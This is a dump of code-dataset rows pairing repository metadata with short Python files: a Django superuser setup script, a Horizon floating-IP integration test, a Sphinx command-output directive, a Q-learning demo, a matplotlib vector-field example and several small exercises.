cd2c0321660f8ae52778e7eaaa2fb3942d535f1c
|
3daa9404dcbc8a2430d8d139ea8f5a0b763b8e3b
|
refs/heads/master
| 2023-08-26T19:47:36.918975
| 2016-05-27T11:17:42
| 2016-05-27T11:17:42
| 58,202,366
| 0
| 2
| null | 2016-05-27T10:01:28
| 2016-05-06T11:21:49
|
Python
|
UTF-8
|
Python
| false
| false
| 255
|
py
|
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "_project_.settings")
django.setup()
# -----------------------------------
from django.contrib.auth.models import User
User.objects.create_superuser('qwer', 'qwe@qwe.qq', 'qwer')
|
[
"pahaz.blinov@gmail.com"
] |
pahaz.blinov@gmail.com
|
3dcbae388d9f29fb43bb3ae85c4db82dc2cac795
|
f2befaae3840bafd181cc712108e3b64caf2696f
|
/app/portal/horizon/openstack_dashboard/test/integration_tests/tests/test_floatingips.py
|
e13a5caeadcc5089f2265ba1b68db6ff925ac46c
|
[
"Apache-2.0",
"LicenseRef-scancode-generic-cla"
] |
permissive
|
F5Networks/f5-adcaas-openstack
|
17d5c408d421dcfe542002e1f850b2d9f29f1663
|
02bd8a606215c0fa08b926bac1b092b5e8b278df
|
refs/heads/master
| 2023-08-28T12:09:54.972191
| 2022-08-12T02:03:43
| 2022-08-12T02:03:43
| 164,592,273
| 4
| 23
|
Apache-2.0
| 2022-08-12T02:03:44
| 2019-01-08T07:40:35
|
Python
|
UTF-8
|
Python
| false
| false
| 4,543
|
py
|
# Copyright 2015 Hewlett-Packard Development Company, L.P
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from openstack_dashboard.test.integration_tests import helpers
from openstack_dashboard.test.integration_tests.regions import messages
class TestFloatingip(helpers.TestCase):
"""Checks that the user is able to allocate/release floatingip."""
def test_floatingip(self):
floatingip_page = \
self.home_pg.go_to_compute_accessandsecurity_floatingipspage()
floating_ip = floatingip_page.allocate_floatingip()
self.assertTrue(
floatingip_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
floatingip_page.find_message_and_dismiss(messages.ERROR))
self.assertTrue(floatingip_page.is_floatingip_present(floating_ip))
floatingip_page.release_floatingip(floating_ip)
self.assertTrue(
floatingip_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
floatingip_page.find_message_and_dismiss(messages.ERROR))
self.assertFalse(floatingip_page.is_floatingip_present(floating_ip))
class TestFloatingipAssociateDisassociate(helpers.TestCase):
"""Checks that the user is able to Associate/Disassociate floatingip."""
def test_floatingip_associate_disassociate(self):
instance_name = helpers.gen_random_resource_name('instance',
timestamp=False)
instances_page = self.home_pg.go_to_compute_instancespage()
instances_page.create_instance(instance_name)
self.assertTrue(
instances_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
instances_page.find_message_and_dismiss(messages.ERROR))
self.assertTrue(instances_page.is_instance_active(instance_name))
instance_ipv4 = instances_page.get_fixed_ipv4(instance_name)
instance_info = "{} {}".format(instance_name, instance_ipv4)
floatingip_page = \
self.home_pg.go_to_compute_accessandsecurity_floatingipspage()
floating_ip = floatingip_page.allocate_floatingip()
self.assertTrue(
floatingip_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
floatingip_page.find_message_and_dismiss(messages.ERROR))
self.assertTrue(floatingip_page.is_floatingip_present(floating_ip))
self.assertEqual('-', floatingip_page.get_fixed_ip(floating_ip))
floatingip_page.associate_floatingip(floating_ip, instance_name,
instance_ipv4)
self.assertTrue(
floatingip_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
floatingip_page.find_message_and_dismiss(messages.ERROR))
self.assertEqual(instance_info,
floatingip_page.get_fixed_ip(floating_ip))
floatingip_page.disassociate_floatingip(floating_ip)
self.assertTrue(
floatingip_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
floatingip_page.find_message_and_dismiss(messages.ERROR))
self.assertEqual('-', floatingip_page.get_fixed_ip(floating_ip))
floatingip_page.release_floatingip(floating_ip)
self.assertTrue(
floatingip_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
floatingip_page.find_message_and_dismiss(messages.ERROR))
self.assertFalse(floatingip_page.is_floatingip_present(floating_ip))
instances_page = self.home_pg.go_to_compute_instancespage()
instances_page.delete_instance(instance_name)
self.assertTrue(
instances_page.find_message_and_dismiss(messages.SUCCESS))
self.assertFalse(
instances_page.find_message_and_dismiss(messages.ERROR))
self.assertTrue(instances_page.is_instance_deleted(instance_name))
|
[
"a.zong@f5.com"
] |
a.zong@f5.com
|
2561ca0bc23319ecfde72cc5deb53b2ef46300fd
|
242e68a7c15e6ced652734d1d0e3e88e1074bb39
|
/climetlab/sphinxext/command_output.py
|
37361004bc1756958119ea83b8845b710aaaf1bb
|
[
"Apache-2.0"
] |
permissive
|
mchantry/climetlab
|
e6edf596882560ad0b23572b24ac9e5cd9325891
|
8d655b4ac121a69e7244efe109c04d5e110cdf9e
|
refs/heads/main
| 2023-07-22T01:16:52.859802
| 2021-07-22T09:24:00
| 2021-07-22T09:24:00
| 379,984,648
| 0
| 0
|
Apache-2.0
| 2021-06-24T16:16:38
| 2021-06-24T16:16:38
| null |
UTF-8
|
Python
| false
| false
| 1,667
|
py
|
# (C) Copyright 2020 ECMWF.
#
# This software is licensed under the terms of the Apache Licence Version 2.0
# which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
# In applying this licence, ECMWF does not waive the privileges and immunities
# granted to it by virtue of its status as an intergovernmental organisation
# nor does it submit to any jurisdiction.
#
import os
import subprocess
import traceback
from shlex import split
from docutils import statemachine
from docutils.parsers.rst import Directive
# Examples at https://github.com/docutils-mirror/docutils
class CommandOutput(Directive):
has_content = True
def run(self):
self.assert_has_content()
here = os.getcwd()
try:
# Get current file
current_rst_file = self.state_machine.input_lines.source(
self.lineno - self.state_machine.input_offset - 1
)
os.chdir(os.path.dirname(current_rst_file))
cmd = [x for x in self.content if x != ""][0]
out = subprocess.check_output(split(cmd)).decode("utf-8")
# Parse output
rst_lines = statemachine.string2lines(out)
# Insert in place
self.state_machine.insert_input(rst_lines, current_rst_file)
except Exception:
# rst_lines = statemachine.string2lines(str(e))
rst_lines = statemachine.string2lines(traceback.format_exc())
self.state_machine.insert_input(rst_lines, current_rst_file)
finally:
os.chdir(here)
return []
def setup(app):
app.add_directive("command-output", CommandOutput)
|
[
"baudouin.raoult@ecmwf.int"
] |
baudouin.raoult@ecmwf.int
|
336afe5cc9ce742780553565f8b39a033fad439e
|
781e2692049e87a4256320c76e82a19be257a05d
|
/all_data/exercism_data/python/rna-transcription/d4b259d6199f474994ab158d3f6b6d29.py
|
ec2b433100cc6ed26f816b7f9b0dcb97506c5e4a
|
[] |
no_license
|
itsolutionscorp/AutoStyle-Clustering
|
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
|
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
|
refs/heads/master
| 2020-12-11T07:27:19.291038
| 2016-03-16T03:18:00
| 2016-03-16T03:18:42
| 59,454,921
| 4
| 0
| null | 2016-05-23T05:40:56
| 2016-05-23T05:40:56
| null |
UTF-8
|
Python
| false
| false
| 179
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def to_rna(dna):
rna = ''
table = {'G':'C','C':'G','T':'A','A':'U'}
for i in range(len(dna)):
rna += table[dna[i]]
return rna
|
[
"rrc@berkeley.edu"
] |
rrc@berkeley.edu
|
7b81eea3972f0d10ecfade6f13ea7d131e0a1565
|
2602266d33073790ac3f3b1ad3c3038922f6d279
|
/RL/QL/lx_01.py
|
94fa0e4000401eec9b2d6e45f3996b2c00b105f1
|
[] |
no_license
|
cy-2224/AI_first_contact
|
7f6582a8f4c24acb270858e6cd08874580632bf8
|
d536b5faa283e7e5f093716a6006fabae943f2e0
|
refs/heads/master
| 2022-03-19T20:29:31.487710
| 2019-11-18T06:00:05
| 2019-11-18T06:00:05
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,993
|
py
|
import numpy as np
import pandas as pd
import time
np.random.seed(2) # reproducible
N_STATES = 10 # the length of the 1 dimensional world
ACTIONS = ['left', 'right'] # available actions
EPSILON = 0.9 # greedy police
ALPHA = 0.1 # learning rate
GAMMA = 0.9 # discount factor
MAX_EPISODES = 24 # maximum episodes
FRESH_TIME = 0.1 # fresh time for one move
def build_q_table(n_states, actions):
table = pd.DataFrame(
np.zeros((n_states, len(actions))), # q_table initial values
columns=actions, # actions's name
)
# print(table) # show table
return table
def choose_action(state, q_table):
# This is how to choose an action
state_actions = q_table.iloc[state, :]
if (np.random.uniform() > EPSILON) or (state_actions.all() == 0): # act non-greedy or state-action have no value
action_name = np.random.choice(ACTIONS)
else: # act greedy
action_name = state_actions.argmax()
return action_name
def get_env_feedback(S, A):
# This is how agent will interact with the environment
if A == 'right': # move right
if S == N_STATES - 2: # terminate
S_ = 'terminal'
R = 1
else:
S_ = S + 1
R = 0
else: # move left
R = 0
if S == 0:
S_ = S # reach the wall
else:
S_ = S - 1
return S_, R
def update_env(S, episode, step_counter):
# This is how environment be updated
env_list = ['-']*(N_STATES-1) + ['T'] # '---------T' our environment
if S == 'terminal':
interaction = 'Episode %s: total_steps = %s' % (episode+1, step_counter)
print('\r{}'.format(interaction), end='')
time.sleep(2)
print('\r ', end='')
else:
env_list[S] = 'o'
interaction = ''.join(env_list)
print('\r{}'.format(interaction), end='')
time.sleep(FRESH_TIME)
def rl():
# main part of RL loop
q_table = build_q_table(N_STATES, ACTIONS)
for episode in range(MAX_EPISODES):
step_counter = 0
S = 0
is_terminated = False
update_env(S, episode, step_counter)
while not is_terminated:
A = choose_action(S, q_table)
S_, R = get_env_feedback(S, A) # take action & get next state and reward
q_predict = q_table.ix[S, A]
if S_ != 'terminal':
q_target = R + GAMMA * q_table.iloc[S_, :].max() # next state is not terminal
else:
q_target = R # next state is terminal
is_terminated = True # terminate this episode
q_table.ix[S, A] += ALPHA * (q_target - q_predict) # update
S = S_ # move to next state
update_env(S, episode, step_counter+1)
step_counter += 1
return q_table
if __name__ == "__main__":
q_table = rl()
print('\r\nQ-table:\n')
print(q_table)
|
[
"116010062@link.cuhk.edu.cn"
] |
116010062@link.cuhk.edu.cn
|
25b15ed23eab61a3811e0a0702bc8a0d35e62589
|
ca299cec2cd84d8b7c2571fa2fdf7161e66b8fe7
|
/private_server/guard/CELL-29/Q-42/29-42.py
|
35f00c836668156e969549d904a2e36a1661dd6e
|
[] |
no_license
|
benmechen/CodeSet
|
ca57d4a065ac4fc737749f65cb5aa1011d446a88
|
f5a4bf627a9a8efc76a65ae58db63a973fedffb7
|
refs/heads/master
| 2021-07-16T14:23:36.355491
| 2019-12-02T13:58:27
| 2019-12-02T13:58:27
| 225,385,245
| 1
| 0
| null | 2021-06-22T15:37:57
| 2019-12-02T13:47:09
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 250
|
py
|
animals = ["aardvark", "badger", "duck", "emu", "fennec fox"]
# Use index() to find "duck"
duck_index = animals.index("duck")
# Your code here!
cobra_index = animals.insert(2, "cobra")
# Observe what prints after the insert operation
print(animals)
|
[
"psybm7@nottingham.ac.uk"
] |
psybm7@nottingham.ac.uk
|
f3a2ac6e803fc07512c8936659276e8b2ddcc899
|
d973df1e60d17b2c4ac6430ec29cce7fd139c3ec
|
/99-Miscel/AnatomyOfMatplotlib-master/examples/vector_example.py
|
05c3d530e5b59c169f0954224e4c1c10dbc082fd
|
[
"MIT",
"CC-BY-3.0"
] |
permissive
|
dushyantkhosla/viz4ds
|
49153414f10bfa0b577fa5e076ef6c697298146a
|
05a004a390d180d87be2d09873c3f7283c2a2e27
|
refs/heads/master
| 2022-06-28T14:21:47.116921
| 2019-10-22T10:34:16
| 2019-10-22T10:34:16
| 133,490,301
| 0
| 0
|
MIT
| 2022-06-21T21:30:16
| 2018-05-15T09:08:30
|
Jupyter Notebook
|
UTF-8
|
Python
| false
| false
| 1,294
|
py
|
import matplotlib.pyplot as plt
import numpy as np
import example_utils
# Generate data
n = 256
x = np.linspace(-3, 3, n)
y = np.linspace(-3, 3, n)
xi, yi = np.meshgrid(x, y)
z = (1 - xi / 2 + xi**5 + yi**3) * np.exp(-xi**2 - yi**2)
dy, dx = np.gradient(z)
mag = np.hypot(dx, dy)
fig, axes = example_utils.setup_axes()
# Use ax.arrow to plot a single arrow on the axes.
axes[0].arrow(0, 0, -0.5, 0.5, width=0.005, color='black')
axes[0].axis([-1, 1, -1, 1])
example_utils.label(axes[0], 'arrow(x, y, dx, dy)')
# Plot a regularly-sampled vector field with ax.quiver
ds = np.s_[::16, ::16] # Downsample our array a bit...
axes[1].quiver(xi[ds], yi[ds], dx[ds], dy[ds], z[ds], cmap='gist_earth',
width=0.01, scale=0.25, pivot='middle')
axes[1].axis('tight')
example_utils.label(axes[1], 'quiver(x, y, dx, dy)')
# Use ax.streamplot to show flowlines through our vector field
# We'll get fancy and vary their width and color
lw = 2 * (mag - mag.min()) / mag.ptp() + 0.2
axes[2].streamplot(xi, yi, dx, dy, color=z, density=1.5, linewidth=lw,
cmap='gist_earth')
example_utils.label(axes[2], 'streamplot(x, y, dx, dy)')
example_utils.title(fig, '"arrow/quiver/streamplot": Vector fields', y=0.96)
fig.savefig('vector_example.png', facecolor='none')
plt.show()
|
[
"dushyant.khosla@pmi.com"
] |
dushyant.khosla@pmi.com
|
51f411fbfe7199fd08bd422157fa4731afd3e426
|
54db01a385495a4cd0c4ce1cf5ff5d7ba82d8cc5
|
/course/migrations/0006_subject_credit_hours.py
|
ac6f580286364aacf611e11c0ddc01d5ed060c59
|
[] |
no_license
|
danish703/csapp
|
eb653988df31570fb3747bb7a0b48df0e16e089e
|
c268017189f6a05fd77663444fb33eca94e77d6d
|
refs/heads/master
| 2022-10-09T09:21:03.225250
| 2020-06-05T14:16:06
| 2020-06-05T14:16:06
| 256,696,530
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 429
|
py
|
# Generated by Django 3.0.2 on 2020-04-17 04:47
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('course', '0005_auto_20200417_1014'),
]
operations = [
migrations.AddField(
model_name='subject',
name='credit_hours',
field=models.CharField(default=3, max_length=3, verbose_name='Credit Hours'),
),
]
|
[
"dipu.danish@outlook.com"
] |
dipu.danish@outlook.com
|
7d2acc3aa2f7970438fcc584fb553426c3b2505e
|
1ad4b4f46e9e3cafdf8ccb17eb7703905847fda2
|
/collections/list/assignment1.py
|
256616778869842786dbaa83b078910d29bf50c2
|
[] |
no_license
|
febacc103/febacc103
|
09711cd1d9e4c06bdb1631a72d86fe34e3edd13d
|
d5ebf3534a9ec2f3634f89c894816b22a7fbaa80
|
refs/heads/master
| 2023-03-29T22:25:48.073291
| 2021-04-20T08:31:44
| 2021-04-20T08:31:44
| 359,677,300
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 197
|
py
|
lst=[3,4,8]
lst1=[]
for i in lst:
sum1=sum(lst)
lst1.extend([sum1-i])
#sum+=i
print(lst1)
lst2=[5,10,20]
lst3=[]
for i in lst2:
sum2=sum(lst2)
lst3.extend([sum2-i])
print(lst3)
|
[
"febajohnjoicyblesson@gmail.com"
] |
febajohnjoicyblesson@gmail.com
|
d906992ff23a0051e0875019d50eb5c2e2a23b94
|
c1582da0f3c1d762f6c78e613dfced5176bbfc83
|
/Algorithms/p217_Contains_Duplicate/p217_Contains_Duplicate.py
|
7759f53d150c0a5f9e369cd6eb03d4e79ab0f625
|
[] |
no_license
|
lbingbing/leetcode
|
08a90a4c018210a1f0182b5ef2ab55942d57da48
|
f6019c6a04f6923e4ec3bb156c9ad80e6545c127
|
refs/heads/master
| 2020-05-21T16:30:06.582401
| 2016-12-15T06:44:49
| 2016-12-15T06:44:49
| 65,279,977
| 0
| 0
| null | 2016-08-27T04:19:27
| 2016-08-09T09:02:55
|
Python
|
UTF-8
|
Python
| false
| false
| 178
|
py
|
class Solution(object):
def containsDuplicate(self, nums):
"""
:type nums: List[int]
:rtype: bool
"""
return len(set(nums))<len(nums)
|
[
"lbingbing@users.noreply.github.com"
] |
lbingbing@users.noreply.github.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.